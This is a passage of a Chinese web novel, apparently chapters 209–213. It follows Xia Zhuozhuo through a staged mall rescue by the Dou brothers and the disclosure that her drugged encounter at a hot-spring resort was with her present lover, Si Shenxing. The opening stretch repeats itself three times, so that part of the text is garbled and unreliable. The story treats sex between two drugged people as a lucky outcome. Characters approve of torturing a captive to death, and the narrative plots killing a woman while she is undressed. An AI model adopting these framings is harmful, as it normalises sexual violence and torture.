他知道,自己这个同父异母的哥哥从小看不起他。 这次是怎么回事? 居然帮他? 只听窦斯齐说:“爸说了,你在里面受了委屈,让我尽量依着你。一个女人而已,我帮你安排了。” 窦斯齐明白过来,这是迫于爸爸的威压。 否则他才不会亲自带他来医院调理,更不会帮他找女人。 窦斯齐继续说道:“你进去之后,爸和爷爷的身体就有些不好,我也不盼你别的了,早点结婚生子,让他们安心就是你的唯一任务。如果这女人家世也还可以,你就定下来,别只想着玩。” 大家长的态度让窦斯礼觉得烦躁。 果然,大哥还是那个大哥。 他只是迫于爸爸的面子,才迁就他。 “才见了一面,你怎么想这么远?我可还不想结婚。” “那你的意思是,我不用帮你撮合那女人?” “那也不是……” 那女人长得过分漂亮了,他怎么会放过这么好的机会? 他在监狱里当了那么久和尚,早该“纾解”一下了。 “那就拜托大哥了?” “走吧,去万和商场。” “去商场做什么?不是要帮我拿下那个女人?” “我刚才听到,她要去万和商场。” 窦斯礼的眼睛再次亮起来。 “怪不得爷爷老夸你,你连听力都比我好。” 窦斯齐笑笑,并不接话,只是驱车带着他往万和商场去。 比资料里的照片好看。 怪不得司慎行不顾形势危机,还跟夏灼灼继续接触。

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窦斯齐继续说道:“你进去之后,爸和爷爷的身体就有些不好,我也不盼你别的了,早点结婚生子,让他们安心就是你的唯一任务。如果这女人家世也还可以,你就定下来,别只想着玩。” 大家长的态度让窦斯礼觉得烦躁。 果然,大哥还是那个大哥。 他只是迫于爸爸的面子,才迁就他。 “才见了一面,你怎么想这么远?我可还不想结婚。” “那你的意思是,我不用帮你撮合那女人?” “那也不是……” 那女人长得过分漂亮了,他怎么会放过这么好的机会? 他在监狱里当了那么久和尚,早该“纾解”一下了。 “那就拜托大哥了?” “走吧,去万和商场。” “去商场做什么?不是要帮我拿下那个女人?” “我刚才听到,她要去万和商场。” 窦斯礼的眼睛再次亮起来。 “怪不得爷爷老夸你,你连听力都比我好。” 窦斯齐笑笑,并不接话,只是驱车带着他往万和商场去。 比资料里的照片好看。 怪不得司慎行不顾形势危机,还跟夏灼灼继续接触。 自古英雄难过美人关啊。 若不是夏灼灼的身份特殊,他都会对她生出几分心思。 真是只祸害! 窦斯礼也看到了夏灼灼,顿时眼睛一亮。 他本就好色,看到如此大美人,哪能不动心思? 只是大哥在旁边,他不好直接去搭讪,只能看着美人上了一辆出租车走了。 窦斯齐清楚看到了自己弟弟的好色模样。 他心中冷笑一声,面上却挂着无可奈何的宠溺笑容。 “怎么?看上人家小姑娘了?” “咳……”窦斯礼神色有些不自在,说:“很少看到长这么漂亮的。可能是在监狱里待久了,呵呵,大哥你别在意。” “怎么能不在意?刚才大夫说,你肝气郁结,保持心情舒畅很重要。这样吧,我给你制造一个机会,让你认识她。” 窦斯礼眼睛大亮。 “真的?” 他还以为大哥会骂他一顿。 他知道,自己这个同父异母的哥哥从小看不起他。 这次是怎么回事? 居然帮他? 只听窦斯齐说:“爸说了,你在里面受了委屈,让我尽量依着你。一个女人而已,我帮你安排了。” 窦斯齐明白过来,这是迫于爸爸的威压。 否则他才不会亲自带他来医院调理,更不会帮他找女人。 窦斯齐继续说道:“你进去之后,爸和爷爷的身体就有些不好,我也不盼你别的了,早点结婚生子,让他们安心就是你的唯一任务。如果这女人家世也还可以,你就定下来,别只想着玩。” 大家长的态度让窦斯礼觉得烦躁。 果然,大哥还是那个大哥。 他只是迫于爸爸的面子,才迁就他。 “才见了一面,你怎么想这么远?我可还不想结婚。” “那你的意思是,我不用帮你撮合那女人?” “那也不是……” 那女人长得过分漂亮了,他怎么会放过这么好的机会? 他在监狱里当了那么久和尚,早该“纾解”一下了。 “那就拜托大哥了?” “走吧,去万和商场。” “去商场做什么?不是要帮我拿下那个女人?” “我刚才听到,她要去万和商场。” 窦斯礼的眼睛再次亮起来。 “怪不得爷爷老夸你,你连听力都比我好。” 窦斯齐笑笑,并不接话,只是驱车带着他往万和商场去。 比资料里的照片好看。 怪不得司慎行不顾形势危机,还跟夏灼灼继续接触。 自古英雄难过美人关啊。 若不是夏灼灼的身份特殊,他都会对她生出几分心思。 真是只祸害! 窦斯礼也看到了夏灼灼,顿时眼睛一亮。 他本就好色,看到如此大美人,哪能不动心思? 只是大哥在旁边,他不好直接去搭讪,只能看着美人上了一辆出租车走了。 窦斯齐清楚看到了自己弟弟的好色模样。 他心中冷笑一声,面上却挂着无可奈何的宠溺笑容。 “怎么?看上人家小姑娘了?” “咳……”窦斯礼神色有些不自在,说:“很少看到长这么漂亮的。可能是在监狱里待久了,呵呵,大哥你别在意。” “怎么能不在意?刚才大夫说,你肝气郁结,保持心情舒畅很重要。这样吧,我给你制造一个机会,让你认识她。” 窦斯礼眼睛大亮。 “真的?” 他还以为大哥会骂他一顿。 他知道,自己这个同父异母的哥哥从小看不起他。 这次是怎么回事? 居然帮他? 只听窦斯齐说:“爸说了,你在里面受了委屈,让我尽量依着你。一个女人而已,我帮你安排了。” 窦斯齐明白过来,这是迫于爸爸的威压。 否则他才不会亲自带他来医院调理,更不会帮他找女人。 窦斯齐继续说道:“你进去之后,爸和爷爷的身体就有些不好,我也不盼你别的了,早点结婚生子,让他们安心就是你的唯一任务。如果这女人家世也还可以,你就定下来,别只想着玩。” 大家长的态度让窦斯礼觉得烦躁。 果然,大哥还是那个大哥。 他只是迫于爸爸的面子,才迁就他。 “才见了一面,你怎么想这么远?我可还不想结婚。” “那你的意思是,我不用帮你撮合那女人?” “那也不是……” 那女人长得过分漂亮了,他怎么会放过这么好的机会? 他在监狱里当了那么久和尚,早该“纾解”一下了。 “那就拜托大哥了?” “走吧,去万和商场。” “去商场做什么?不是要帮我拿下那个女人?” “我刚才听到,她要去万和商场。” 窦斯礼的眼睛再次亮起来。 “怪不得爷爷老夸你,你连听力都比我好。” 窦斯齐笑笑,并不接话,只是驱车带着他往万和商场去。 第210章 “英雄”救美 夏灼灼在出租车上,告诉谷仔自己见到了窦家兄弟。 “他们有可能会跟过来,你看见我,先装作不认识,慢慢跟着就好。” “是。” 谷仔不再耽搁,直接前往万和商场。 夏灼灼不紧不慢逛着商场。 她笃定窦斯齐一定会跟过来。 只是会不会出手就不一定了。 很快谷仔发来一条消息,说他看到了窦家兄弟。 “他们在不远处跟着你。” 夏灼灼回复了一个“OK”,转头进了一家西装店。 这里专做男士西装,店员小姐礼貌提醒,怕她进错店。 夏灼灼道:“我帮我哥哥选衣服。” 既然来了,她打算给每个哥哥都买一套。 “原来是这样,您哥哥要什么场合穿?是喜欢有设计感一点的,还是庄重一点的?” “我自己选吧,我有很多个哥哥。” 店员眼睛亮起来。 她能做好几单生意了。 “您慢慢挑,我去给您倒杯水。” “谢谢。” 店员很快端来了一杯红茶,还拿了一块小甜点,用精致的小碟子装着。 “小姐,您要不要先喝点茶?我们这儿成衣不多,大部分都是根据尺寸定制。您可以在平板上看看我们这儿的独立设计师款。” “可以。” 夏灼灼答应了。 很快,她选中了四套设计师款。 夏四和夏怀武不在家,便暂时不买他们的。 至于谷仔的,她选了一套领口设计的花里胡哨的成衣。 谷仔平时穿的就花里胡哨的,夏灼灼觉得他一定喜欢。 而且尺寸刚好适合谷仔。 “麻烦您,这套先帮我包起来吧,我哥哥马上就要穿。” 谷仔比她大两个月,说是她的哥哥倒也不算撒谎。 “好的小姐,您稍等。” 就在这时,店里进来一波人。 “都出去!我们少爷要选衣服了!服务员!把店里清场!” 服务员愣了愣,连忙赔笑迎上去解释。 那帮人却是不听。 “不清场,惊扰了我们少爷,我要你这家店立刻关门大吉!” 服务员的脸色有些发白。 她惹不起这帮人,只好过来跟夏灼灼道歉。 “小姐,不好意思,遇上了不讲理的……您定制的衣服,请半个月之后来取,刚才您选中的那件我帮你包起来,您先去隔壁逛逛,我包好了帮您送过来?” 夏灼灼的目光瞥了眼那帮人。 被围在中间被称作“少爷”的人,打扮华贵,却丝毫没有任何气质。 她心里立刻猜到了他们是什么人。 是窦斯齐的人。 只是不知道他们想干什么。 她索性将计就计,站起身,故意露出不悦的表情。 “先来后到的道理,他们不懂,你也不懂吗?我凭什么要去隔壁等?” 店员一愣,还以为夏灼灼很好说话,却没想到也是个倔脾气。 她只好再次道歉。 “小姐,不如这样,您留一个地址给我,我直接给您送到家里去?” “我说了,我哥哥马上就要穿。你现在就去给我打包。打包用不了两分钟。” “那好吧……我现在就去给您……” 那帮人却是走上前,不满地说:“打什么包?这家店的衣服我们少爷没选之前,一件都不许卖出去!你,给我立刻滚出去!” 那人指着夏灼灼的鼻子说。 夏灼灼面色铁青,起身正要反驳,一个寸头男人走了进来,挡在了夏灼灼面前。 “这是在干什么?你们一群大老爷们,欺负一个小姑娘?” 说话的,正是窦斯礼。 因刚从监狱出来,所以剪着平头,可即便是这样,他简单站在那里,也比那帮人说的“少爷”更像少爷。 真纨绔和假纨绔,真是一眼就能看得出分别。 不过男人们未必能分出来,他们的直觉,往往没有心思更细腻的女人准。 夏灼灼看他一眼,心里更疑惑。 窦家人演这一出戏,是几个意思? 只想安排一场英雄救美吗? 这像是窦斯礼能做出来的,可他身边还有个窦斯齐。 窦斯齐这个人心机深沉,一旦起了心思,不达目的誓不罢休。 他不可能只是玩过家家似的,只为了所谓的英雄救美。 一定还有后招。 她面上不露端倪,静静看着他们演戏。 只见那群人中的那个“少爷”很不爽地对窦斯礼说:“跟你无关,不想死就给我滚出去!” 话音刚落,窦斯礼直接一个拳头砸向对方的脸。 那人恼羞成怒。 “敢打我?都给我上!” 话音刚落,又一群人冲进来,只几下就把人全部摁住了。 那帮人很快求饶,灰溜溜走了 “这位小姐,你没事吧?”窦斯礼一副很关心她的样子。 窦斯礼生了一双桃花眼,其他五官也都很出挑,因而对自己格外自信。 夏灼灼感激摇头:“我没事。” “没事就好。”他面上一副爽利的样子,眼睛却不停地朝夏灼灼的唇上看。 夏灼灼心里生出一股子恶心。 但面上却维持着刚才的感激。 “不知道该怎么感谢你才好。如果不是你,那帮混混可能真的会对我动手。” “路见不平而已,小姐不用谢我。但如果你真想谢……不如改天请我吃饭吧。” 夏灼灼答应了。 两个人彼此交换了联系方式。 “不知道怎么称呼您?” “李斯。” 夏灼灼心里冷笑,面上说:“我叫夏灼灼。” “好的,夏小姐,那我等你联系我。” “好。” 夏灼灼点头,目送窦斯礼离开。 他一走,夏灼灼脸上的笑容很快卸下来。 她对店员说:“刚才给你添麻烦了。” “不会……我去帮您把衣服包起来。” 店员已经不敢跟夏灼灼多聊了,动作利落地包装好那套西装拿给夏灼灼。 “谢谢。” 夏灼灼正要走,突然又想起一件事。 她再次问店员要来店里的平板电脑,重新选了一套西装,并且告诉她大致尺寸。 “如果不合身,可以送回来改吗?”她问。 店员小姐点头:“当然可以。” 夏灼灼便付了钱,拿着谷仔那套西装出门了。 很快谷仔找上来,低声跟她说:“老大,窦家兄弟已经走了。” 夏灼灼点头。 谷仔又说:“我看到他们吵起来了,但是我不敢靠太近,没听清楚他们吵了什么。不过我派田野盯着他们了。” 夏灼灼点头,猜测道:“窦斯齐在计划些什么,可能窦斯礼跟他意见不和,就吵起来了。” 但他们因为什么意见不和呢? 夏灼灼琢磨不清楚,不过大概率跟她有关。 想不通的事情,索性就先不想了。 “盯着他们就行,他们去了哪些地方,见了什么人,都要跟我报告。” “是。” “好了,你去把这套衣服换上,我们出发去吃晚饭。” “好。” 谷仔很快换了衣服。 他平日里穿的都是松松垮垮的衣服,颜色还非常亮,乍一穿上规规矩矩的黑色西装,夏灼灼几乎都要认不出他了。 “你回头把这泡面头给剃了,你这头型,剃平头会很好看。” “别吧,平头太丑了。” “信我,剃了平头,小雨会更爱你。” 谷仔的脸骤然红了。 “老大,你就知道取笑我。” 夏灼灼笑笑,道:“我也给你一个取笑回来的机会。” “什么?” “之前在电话里没说完的话,我现在继续说。” 谷仔想起夏灼灼在电话有一句话说了一半。 她当时说的是:你大可以不用想这么悲观,其实我跟司慎行…… 话到这里戛然而止。 他当时没怎么当一回事,只以为夏灼灼是单纯在安慰他。 但现在夏灼灼说“取笑”,他骤然想起一个可能,惊讶地看向她。 就听夏灼灼说:“我跟司慎行在一起了。” 谷仔的眼睛顿时瞪得更大。 他是个不折不扣的男人,却生了一双比女人还大的眼睛,秋雨还笑他:你要是个女儿身,肯定比我长得美。 现在瞪大眼睛,就显得眼睛更大了。 “眼珠子要从眼眶里掉出来了,赶紧把眼睛闭一闭。” 夏灼灼心里有些不好意思,所以故意故作轻松地开玩笑。 谷仔果然闭上了眼睛,但再睁眼,眼睛还是瞪得老大。 “老大,你别拿这种事开玩笑,到底是真是假?” “你什么时候见过我拿这种事开玩笑?” “……”好像的确从来没有。 他看一眼夏灼灼,然后收回视线,又看一眼,一副欲言又止的样子。 夏灼灼道:“有话直说,我也正想问问你的意见。” 谁知谷仔立刻摇头。 “我完全没有意见!” 夏灼灼在脑袋上缓缓打出一个问号:“?” 谷仔认真地说:“我只是在为你高兴,你能放下……重新鼓起勇气喜欢另一个人,我很为你高兴,真的,老大,我很高兴。我刚才只是、只是在犹豫要不要提起宗域。” 夏灼灼没想到谷仔的欲言又止,只是怕提到宗域她不高兴。 她沉默一阵,说:“我也高兴,我这颗心还能死灰复燃。只是司慎行的身份太特殊,如果他是个普通人就好了。” “普通人有什么好?宗域就是个普通人。我看反而是司先生这种人,是绝对不会背叛你的。” “为什么?” 谷仔道:“普通人想要的东西太多,才会生出贪念,从而背叛你。但司慎行本就拥有一切普通人想要的东西,他对感情,反而是比普通人更纯粹一点。” 第211章 解开心结 夏灼灼一时陷入了沉默。 她倒是从没通过这个角度看问题。 谷仔的话让她突然豁然开朗。 她一直担心,司慎行也会成为宗域,为了得到什么,最终背叛她。 这是她因为宗域而生出来的心结。 却忘记了,司慎行本就拥有他所想要拥有的一切。 暗部虽强,S集团却也不差。 司慎行对她的感情,只是对她这个人的感情,不掺杂任何其他的杂质。 反而是她,她对司慎行的感情,太过复杂,想得太多…… 夏灼灼突然感觉心口的心跳加速了。 只听谷仔继续说道:“而且,普通人保护不了你,司先生却有这个能力。你能跟他在一起,我真的很为你开心。当然,司先生也赚了,您可不是一般女人。” “……” “还有,我很了解我哥,如果司先生这个人有什么人品上的问题,他一定不会死心塌地跟着他,哪怕当初是他救了奄奄一息的我哥。” 夏灼灼不知该说些什么,但很感激谷仔说出这一番话点透她。 “谢谢你,谷仔。” “谢我什么?明眼人都能分析的出来。” “……”她的确是瞎了,或者说,一叶障目,又或者是因为一朝被蛇咬十年怕井绳。 大概是看她太沉默,谷仔回过神来,问:“老大,你怎么了?你是不信任司先生吗?” 这问题简直问在了夏灼灼的心上。 “我不知道……” 她说:“情感上,我是信任他的,我也……很喜欢他。但脑子里又有另一个声音,告诉我不能完全放松自己。谷仔,我是不是因为太矫情了?” “不是的。”谷仔拧着眉说:“老大,我说句话,您别生气。” “你说。” “您可能……还没完全放下宗域。” 夏灼灼微微一愣,随即摇头:“不可能的,我对他……我提起他,心里已经没有半点感觉了。” 谷仔认真解释—— “我的意思是,您还没放下被他狠狠伤害过的这件事。不一定是指这个人。” “您现在的情况,有点像PTSD,创伤后应激障碍症。” “也就是古人说的,一朝被蛇咬十年怕井绳。您不一定是没放下那条蛇,而是不能忘记被蛇咬时的那种害怕。” 谷仔顿了顿,又说:“其实也怪我。当初,您发现他背叛你之后……情绪陷入了崩溃,还发生了一点事,我就为你找了个催眠师。” “以至于,那些难过痛苦的情绪,您都忘了。但其实,那都是一个人经历背叛之后,必然要经历的。” “没了那段记忆,您虽然不再痛苦,却也就此解不开这个心结了。” 谷仔提起找催眠师的事时,眼神有些闪烁。 但夏灼灼并没注意到。 她的注意力都在谷仔说的话上。 仔细思索一番后,夏灼灼觉得谷仔说的话是很有道理的。 只是道理明白了,却不知该怎么解决。 “那我现在该怎么解开心结呢?”她问。 谷仔说:“解铃还须系铃人,或许……您需要找宗域好好聊一聊?把过去的事情都说开,说不定就可以解开心结。” 夏灼灼想也不想地摇头否定了谷仔的提议。 “我不会再见他。” 看谷仔直直望着她,她解释道:“不是我还没忘记他这个人,而是我们现在各自有了自己的心上人,再见面,对两边都是伤害。尤其宗域那边,上次我已经正面跟云霓撕破脸,再让她知道我跟宗域见了面,她非得发疯不可。” 谷仔不以为意。 “当初是她抢走了宗域,现在她就算发疯也是活该。” 夏灼灼摇摇头,说:“不是她抢走的。是我的,别人怎么抢都抢不走;别人能抢走的,本就不属于我。宗域既然有借别人往上爬的心,不是云霓也会是其他人。怪云霓又做什么呢?” 当时如果不是云霓想借云老爷子陷害她,她也不会做那一手计划对付云霓。 云老爷子虽然最后还是替云霓遮盖,但她笃定,他们的感情不如从前亲近了。 她们算是扯平了。 所以只要以后云霓不再惹她,她也不会对付她。 她对宗域的的确确没有爱了,所以对云霓又哪来的恨呢? 因爱才生恨。 “我不懂……”谷仔说。 夏灼灼道:“你不用懂,只要记住我不会去私下见宗域就好了。” “是……” “你不如帮我再找到那位催眠师,或许找回那段时间的记忆,一切就都解决了。” 谷仔听到这话脸上的表情就有些古怪。 因为他知道,那段记忆,除了宗域之外,还有一段可怕的记忆。 不过现在,老大跟司慎行走到了一块,或许这段记忆可能不再可怕了? 谷仔有些犹豫不决。 不过想到很快能见到司慎行,他打算跟司慎行私底下聊一聊这件事。 这件事对于女孩子来说,到底还是一个很大的伤害。 对于这件事,他知道的信息也不多,唯一准确的信息,就是从司慎行那边“抢”过来的那段录像。 他也是那个时候才敢肯定,那天夺走老大清白的人,就是司慎行。 否则司慎行没必要从泉灵山庄千方百计弄到这段录像。 当时,他甚至已经开始偷偷布局,要怎么杀了这个登徒子。 可越是调查,他越怀疑,司慎行当时也是被迫。 加上从他哥那里清楚了司慎行的为人,他也就暂时歇了杀了司慎行的这条心。 只暗中继续调查当时的情况。 只是目前为止还一无所获…… 不过现在既然老大跟他已经在一起了,那么,他索性直接从司慎行那里了解一下,当时具体是什么情况。 “想什么呢?”夏灼灼看他出神,皱眉提醒:“专心开车。开车的时候不要想乱七八糟的事。” 谷仔骤然回神。 “是。”却没回答他刚才在想什么。 好在夏灼灼也有心事,没有继续追问。 夏灼灼在想,窦家兄弟到底是怎么个意思。 她也以为他们见了她,会有所行动,却没想到只是来了一出英雄救美? 窦斯齐前面两次下手,一次是针对小孩子,在那位儿科主任身上下工夫,若非她得了杜馨月的提醒,她可能真着了道。 第二次,是杜浩然逼她赛车。 也是她命大,足够谨慎,才逃过一劫。 两次计划,都是缜密而周全的人,一般人根本逃不掉。 可这次?就像是小孩子过家家。 夏灼灼被弄得一头雾水。 一路上,她一直在想这事,但一直想不通。 很快到了约定的酒店。 今天的晚餐是司慎行请客,地点约在上次的斯蒂兰马场。 他第一次设宴款待谷仔,谷仔又是阿麦的亲弟弟,所以搞的很隆重。 酒店自上次被烧之后,已经重新翻修好了。 吃饭的地方设在酒店后面的泳池旁。 池水波光粼粼,如绸缎般随风泛起涟漪。 几人坐在白色长桌上,上面铺着一层亚麻桌布,银质餐具在烛光和水光下泛着冷色调的光泽。 侍应生在水晶杯里为几人倒上香槟酒。 夏灼灼不擅长喝酒,故而杯子里装的是果汁。 她同谷仔坐在一侧,司慎行坐在她对面,旁边是阿麦和霍刚。 霍刚这还是第一次看到谷仔,漆黑的眼珠子不停地上下打量谷仔。 “你们还真是……像又不像的。” 像的是五官,尤其是鼻子和嘴唇,都是很周正的长相。 不像的是气质。 不过也有可能跟发型有关。 阿麦的发型是很标准的男士小背头,颇具精英感。 而谷仔么,烫了一个中不溜的泡面头。 今天这样隆重的场面,谷仔是没有预料到的。 怪不得老大非要让他穿西装来。 不过谷仔毫不怯场,大大方方对上霍刚打量的视线说:“是不是因为我哥看起来就是个富二代,而我看起来像工地搬砖的?” 霍刚摇头。 “不是,你不像搬砖的。你像流水线上打螺丝的。” “……” 司慎行正要开口训斥霍刚,就见谷仔直接向阿麦抱怨。 “哥,他欺负我,你帮我揍他!” 阿麦抬手就给了霍刚一个肘击。 霍刚捂住胸口,一副很委屈的样子。 “干嘛?我还没说完呢!我是想说,小谷仔,明天跟哥哥我出去一趟,我保管把你整得比你哥还像富二代!” 谷仔看向阿麦。 阿麦说:“跟他去,不把他的钱包掏空别回来。” “好!” 气氛又愉快起来,司慎行微微松了口气。 其实气氛一开始的时候虽然也算融洽,但到底有点紧绷。 霍刚一顿插科打诨,大家就都放松下来了。 谷仔也看出来,霍刚这人说话直接,却没有什么坏心眼,跟他哥哥关系很好,他也就放了心。 他还怕哥哥跟霍刚都属司慎行的左膀右臂,两个人难免有竞争。 却没想到关系这样好。 他为哥哥松口气,同时也更放心司慎行了。 能把两个下属的关系协调的这样好,说明他平时对他们两个也都很好。 下面做事的人,有时候也跟老子和儿子一样,上梁不正下梁歪。 司慎行人品好,手底下的人也跟着往好了学。 中途,其他几人都因为不同的原因离开餐桌。 夏灼灼去上洗手间,谷仔和霍刚则是去酒窖再选几支酒。 谷仔以为是偶然,却没想到,司慎行开口就说:“你一直看我,是有话要跟我说?我已经把他们走支走了,你现在可以说了。” 第212章 失去清白那天 谷仔微讶。 他以为阿麦他们三个离开,是凑巧。 没想到是司慎行的特意安排。 不过,他明明只小心看了司慎行两眼,这都能被他发现自己有话说? 好敏锐的人! 上一个这么敏锐的,还是他的老大。 只是夏灼灼的确是偶然去上卫生间的,只有霍刚和阿麦,是司慎行特意支走,去酒窖拿酒的。 但他们也很快就会回来。 谷仔不再迟疑,咬牙开口:“司先生……我有一件事,想问您很久了。” 司慎行接过话说:“你是想说泉灵山庄的事吧?” 谷仔又是惊讶地瞪眼。 “您猜到了?” “当初枫林晚的防火墙遭到攻击,我就猜是暗部的人……你跟灼灼都是暗部的,但灼灼似乎对泉灵山庄的事情没有任何记忆……今天如果你不问我,我也要问问你,这是怎么回事?她失忆过吗?” 司慎行几次试探,夏灼灼都无知无觉。 按说她这么谨慎的人,不可能对他的试探毫无反应。 唯一的解释,就是夏灼灼失忆了。 果然,谷仔点头说:“灼灼姐是失忆了。” ——在暗部之外的人面前,他跟秋雨都这么称呼她。 “为什么?怎么失忆的?” “我弄的……” 见司慎行忽而冷眼看向他,他不由自主地连忙解释:“她那段时间很痛苦,几乎处于发疯状态……我征求她的同意后,为她找了一位催眠师。” 司慎行的眼神这才恢复正常。 他还以为,是谷仔伤害了她。 原来只是找了个催眠师。 市面上很多催眠师都是懂一点心理学,然后打着催眠师的幌子骗人。 但其实也存在真正能催眠的人,只是这样的人才少之又少。 可想到夏灼灼因为自己,都“发疯”了,司慎行的脸色很快又难看起来。 “是我对不住她。”他说。 谷仔摇摇头:“你是一部分,或者说,只是导火索。根子上的原因是因为宗域,我想,你应该知道宗域是谁吧?” 司慎行没否认。 “我一个朋友跟我说起过她跟宗域的事。” 谷仔道:“当时她本来就精神有些恍惚,我们暗部在那个时候出了奸细,趁着她状态不好的时候,给她下了药,想就此毁掉她。” 他恨恨地说:“如果灼灼姐当时的状态正常,那家伙下了药,灼灼姐一定能觉察出来。可偏偏……幸好,那个人是你,也幸好,你跟灼灼姐走到一块儿了。我以后就不用怕灼灼姐回忆起那件事了。” 司慎行微微点头。 “我也很庆幸,那个时候是她。” 之前他还能接受那个女人不是夏灼灼,可现在已经完全不能接受了。 他不能接受自己除了夏灼灼之外,还碰过别的女人。 所以,他真的很庆幸,却又感到如此的惭愧——在这种情况下,要了她。 谷仔观察着司慎行的神色。 见他眼神中没有得意,只有心疼和惭愧,一颗心彻底放了下来。 司慎行跟哥哥说的那样,的确是个正人君子。 他想起自己问这些话最初的目的,抬眼看向司慎行。 “那天……为什么是您?我后来抓到那个下药的奸细,审了她。她扛不住审问,把一切都招供了。她说,当时她安排的是几个乞丐。可不知道怎么的,换成了你。” 司慎行眼神中再次泛起冷芒。 “那个奸细,还活着吗?” “死了。我亲手杀了她。她死的不痛快,我熬了她半个月,她才死的。” 司慎行道:“你该留着她的命让我来。只折磨半个月,远远不够。” 两秒后,又说:“我当时也是被下了药。” 谷仔错愕看向他。 司慎行继而说起了当时的情况。 “我的身世你应该多少了解过,那时候,我还是他们说的私生子。” “但我样样都比那位鸠占鹊巢的出众,所以我爸也开始培养我,把一个很重要的项目交给我做。” “把项目交给我之后,我完成得很出色。那天是签合同的日子,我们选在泉灵山庄签署最后的协议。” “那天我爸来了,当然,我那位大哥也来了。” “他早知我的身份,心里本来就一直忌惮我。又因为项目的事情,他打算设计我,让我当众出丑。” “好在,我当时感觉到自己不对劲,找了个借口离席。” “可我的状态很不好,脑子也很混沌……” 他就这么误打误撞,进了夏灼灼的私泉。 最后……他跟夏灼灼成了事。 夏灼灼的药量比较轻,她醒的比他早,提前离开了。 “等我醒过来,她人已经不见,我的人……也就是你哥,他跟我说过,看到几个人鬼鬼祟祟往我当时在的私泉来。他把人赶走之后,进去找到了我。” 谷仔大概能把事情串联在一起了。 奸细的确是派了几个乞丐来毁掉夏灼灼的清白,只是他们慢了一步,司慎行先进去了。 夏灼灼离开后,那几个乞丐才混进来,却被阿麦赶走。 谷仔的后背惊出了一身的冷汗。 如果当时不是司慎行也恰好被下了药,又恰好进了老大的私泉,那么毁掉老大的清白的,就是那几个乞丐了。 虽然对当时的老大来说,都是伤害和侮辱。 可如果成事的是那帮人,老大是死是活先不说,他们一定会出去大肆宣扬。 而不是像司慎行这样,装作什么都没发生,只是暗中调查。 简而言之,如果不是司慎行,老大受到的伤害会更大。 谷仔本来还对这件事耿耿于怀——无论现在如何,当时的司慎行就是乘人之危了。 可听到事情的真相是这样,又在心里有了对比之后,他觉得这样的结果是最好的。 不幸中的万幸。 谷仔轻轻吸了一口气,觉得精神头都比刚才足了。 他说:“灼灼姐让我找到那位催眠师,她很快就会想起那段记忆了。您打算自己告诉她,还是等她自己想起来?” “我今晚就告诉她。” “……也好。” “多谢你提前跟我说,谷仔。” 谷仔略微惊讶。 “我之前以为,您是那种心高气傲的人。” 司慎行轻轻一扯唇。 “我的确心高气傲,但我有这个资本,否则灼灼也不会喜欢我了。” “……”真够自恋的。 不过他也有自恋的资本。 但谷仔无论对司慎行有多满意,还是放了狠话。 “您要是跟宗域一样,伤了灼灼姐的心,我们这帮人做鬼也不会放过你。” 司慎行深深看他一眼。 “你这话毫无威慑力。” “你以为我只是在放狠话?我说的是实话。” “可宗域不是还活得好好的吗?” 谷仔一噎。 解释说:“是灼灼姐让我别动他。” 司慎行眉头微蹙。 谷仔怕他误会,又补了一句:“不是因为舍不得,而是她已经放下了这个人。” 司慎行的心情又美丽了。 恰好这时候夏灼灼回来了。 看到司慎行脸上的一点笑容,她好奇地问:“你们聊什么了?这么开心?霍刚和阿麦呢?” “他们去拿酒了。”却没说他们聊了什么。 那件事,司慎行想私下单独跟她说。 毕竟关乎她的声誉。 女人不比男人,她们在这种事情上是弱势的。 人们给私生活混乱的男人配了个“多情、风流”等好听的词,给女人,却只有“水性杨花”这样的贬义词。 夏灼灼从不为难人。 司慎行不回答,她就当自己没问。 很快霍刚和阿麦也回来了。 每人手里拎着两瓶酒。 都是年份很好的葡萄酒,度数不高,也不伤胃。 五个人从五点聊到晚上十一点多才算结束。 霍刚很喜欢谷仔,已经认了他做弟弟,并且约了明天带他去玩。 夏灼灼默许了。 她不介意谷仔跟司慎行这边的人走近。 昨天之前,她或许还会有所顾忌,但今天跟谷仔聊了一通后,她茅塞顿开。 她对司慎行,不该再存有疑虑。 就像谷仔说的,司慎行对她的感情是纯粹的,他也不需要把暗部当做跳板,就更不可能反过来对付暗部。 她可以信任他。 “陪我散一散酒再回去?”司慎行问她。 夏灼灼点头同意。 “谷仔,你先回去,一会儿他会叫人送我。” “是。” 谷仔被阿麦和霍刚送回去了。 当然,开车不喝酒,他们叫了另外的人开车。 夏灼灼则是陪着司慎行,绕着马场走。 晚上的马场也很漂亮,周围一圈都是地灯,光线亮得刚刚好。 “上次许菻兮就在这里从马上摔下来吧?”夏灼灼说。 司慎行看她一眼。 “你还真是百无禁忌。” 夏灼灼耸耸肩:“她活着的时候我都不怕她,还怕她成了鬼对付我?” 司慎行更无奈。 他偶尔也希望夏灼灼展现出小女人的一面——在他一个人面前。 不过这样胆大肆意的夏灼灼,也是他喜欢的样子。 她怎么样他都喜欢。 好喜欢! “我有件事……” “我有件事……” 两人几乎同时开口。 对视一眼,两人都笑了。 夏灼灼说:“你先说。” 司慎行摇头:“你先说,我的事情比较重要,你听了之后可能什么都不想说,甚至不想跟我说话了。” 第213章 跟她坦白 夏灼灼闻言更加好奇。 “究竟是什么事?我的好奇心已经被你勾起来了。” 司慎行却还是不肯说。 “你先说完你要说的,我再跟你说我想说的事。” 他这么说,夏灼灼越发好奇。 但也清楚司慎行骨子里其实是个固执的人,他非要等她先说,就不会在她说之前先开口。 不过反正横竖要说,夏灼灼不着急于这一时。 她说了下午万和商场的事。 “我想不通,为什么窦家兄弟跟我到商场,却只上演了这么一出。窦斯齐应该很清楚,我不可能因为他弟弟这么路见不平一下,就会被他吸引。” 司慎行想了想,说:“你刚才说,谷仔看到他们临走的时候,吵了一架?” 夏灼灼点头:“嗯。” 司慎行眼底浮现笑意。 “那我明白了。英雄救美是窦斯礼那个蠢猪安排的,不是窦斯齐的主意。所以窦斯齐跟他吵了一架。” 夏灼灼豁然开朗。 “还真像是这样。” “应该就是这样。否则他们没必要吵架。而且,这不是窦斯齐的手笔,他比较‘高明’。” 而事实上,的确如司慎行判断的这样。 窦斯齐一开始以为夏灼灼逛街,必然是给她自己买衣服。 这么一来,他完全可以趁着夏灼灼在换衣服的时候,直接把人绑走——亦或者是直接杀掉。 换衣服的时候,是夏灼灼最没有防备的时候。 而且一个女人光着身子,也没办法反击,故而很好下手。 他不怕查到自己身上,因为他弟弟是个很好的替罪羊。 如果计划成功,那就是一箭双雕。 他厌恶这个蠢弟弟已久。 但计划从一开始就失败了,因为夏灼灼压根不是为她自己换衣服,就不可能进更衣室,给他作案的机会。 